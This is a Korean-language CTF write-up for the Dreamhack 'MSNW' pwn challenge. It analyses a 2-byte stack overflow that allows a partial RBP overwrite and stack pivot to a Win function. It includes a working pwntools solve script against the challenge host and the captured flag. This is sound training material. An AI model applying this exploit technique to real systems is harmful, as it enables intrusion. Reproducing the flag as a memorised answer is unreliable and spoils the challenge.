Description
이 문제는 MSNW (Meong Said, Nyang Wrote) 프로그램이 서비스로 등록되어 동작하고 있습니다.
프로그램의 취약점을 찾고 익스플로잇해 플래그를 획득하세요!
플래그 형식은 DH{…} 입니다.
checksec
iotfragile@iotfragile:~/CTF/MSNW/deploy$ checksec --file ./msnw [*] '/home/iotfragile/CTF/MSNW/deploy/msnw' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
스택 카나리와 ASLR 보호기법이 걸려있지 않다.
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { Init(argc, argv, envp); Echo(); puts("nyang 🐱: goodbye!"); return 0; }
Echo()
함수를 실행하고나서
~ goodbye!를 출력하고 종료된다
Echo
__int64 Echo() { __int64 result; // rax while ( 1 ) { result = Call(0); if ( !(_DWORD)result ) break; Call(1); } return result; }
Call(0)
리턴값이 0이어야 반복문을 빠져나갈 수 있다.
Call
__int64 __fastcall Call(int a1) { if ( a1 ) return Nyang(); else return Meong(); }
매개변수로 받는 a1이 1이면, Nyang()
a1이 0이면, Meong()
함수를 호출한다.
Nyang
__int64 Nyang() { char v1[304]; // [rsp+C0h] [rbp-130h] BYREF printf("nyang 🐱: "); printf("%s", v1); return 1LL; }
char v1[304] 변수를 printf하고 있다.
Meong
_BOOL8 Meong() { char s[304]; // [rsp+C0h] [rbp-130h] BYREF memset(s, 0, sizeof(s)); printf("meong 🐶: "); read(0, s, 306uLL); return s[0] != 'q'; }
char s[304] 변수에다가 read 함수로 306바이트만큼 사용자의 입력을 받는다.
여기서 버퍼 오버플로우가 발생한다.
s 크기는 304바이트인데 2바이트 더 입력받기 때문이다.
Meong’s STACK
Meong
함수에서 306바이트만큼 AAAA… 를 입력받은 결과,
위와 같이 RBP의 하위 2바이트를 원하는 값으로 덮어쓰기가 가능하다.
Solution
MEMORY:00007FFC7EB22AC0 db 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h ... MEMORY:00007FFC7EB22BF0 dq 7FFC7EB22DF0h MEMORY:00007FFC7EB22BF8 dq 401320h (Meong's RET address)
먼저, Meong’s RBP 주소에 있는 값을 노출시킨다.
Meong’s RBP 주소에 있는 값은 실제로 Call
함수의 rbp 주소를 가리키는데, 7FFC7EB22DF0h
이다.
그리고 Meong’s buf 주소는 7FFC7EB22AC0h
에 있다.
따라서 Meong’s RBP 주소에 있는 값인 0x330을 빼면, Meong’s buf 주소를 구할 수 있다.
2번째로, Meong’s buf + 8에 flag를 출력시키는 Win
주소를 넣고 나머지는 더미로 채운다.
마지막으로, Meong’s RBP 주소에 있는 값을 Meong’s buf 주소로 수정하면 된다.
(Meong’s RBP 주소에 있는 값과 Meong’s buf 주소는 서로 2바이트밖에 차이나지 않기 때문에 가능하다.)
그러면, Call
함수의 rbp 주소가 아닌 Meong’s buf 주소가 들어가는데,
Call에서 에필로그인 leave 어셈블리어가 호출될때
mov rsp, rbp pop rbp
위와 같게 동작하기 때문에, mov rsp, rbp
으로 인해
rsp 값은 rbp(Meong’s buf+0)에 있는 값이 들어가게 되고,
pop rbp
로 인해,
pop을 했으므로 stack pointer인 rsp는 1 qword 위로 올라가며,
이제 rsp는 Win
주소(Meong’s buf+8, return address)를 가리킨다.
마지막으로 retn 어셈블리어로 인해,
pop rip jmp rip
스택에 저장된 복귀주소인 Win
주소(Meong’s buf+8, return address)로 리턴한다.
return address는 POP 되어 RIP에 저장되고,
stack pointer는 한번더 1 qword 위로 올라간다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') #p = process('./msnw') p = remote("host3.dreamhack.games", 19591) p.recvuntil("meong ") p.recvuntil(":") payload = b"" payload += b"A"*304 p.send(payload) p.recvuntil("nyang ") p.recvuntil(":") p.recvuntil("A"*304) Meong_rbp_val = p.recvuntil("meong") Meong_rbp_val = Meong_rbp_val.split(b"meong")[0] Meong_rbp_val = Meong_rbp_val + b"\x00\x00" Meong_rbp_val = u64(Meong_rbp_val) print(f"Meong_rbp_val: {hex(Meong_rbp_val)}") Meong_buf = Meong_rbp_val - 0x330 print(f"Meong_buf: {hex(Meong_buf)}") Meong_buf_last_2 = hex(Meong_buf)[-4:] Meong_buf_last_2 = bytes.fromhex(Meong_buf_last_2) p.recvuntil(":") payload = b"" payload += b"A"*8 payload += p64(0x40135b) payload += b"A"* 288 payload += Meong_buf_last_2[::-1] p.send(payload) p.interactive()
Result
iotfragile@iotfragile:~/CTF/MSNW/deploy$ python3 solve3.py [+] Opening connection to host3.dreamhack.games on port 19591: Done Meong_rbp_val: 0x7ffdd580c8f0 Meong_buf: 0x7ffdd580c5c0 [*] Switching to interactive mode DH{858850f130ca946b440b44fbc63b1fd63d85ad79fe8881b72bfe90bf37e11982}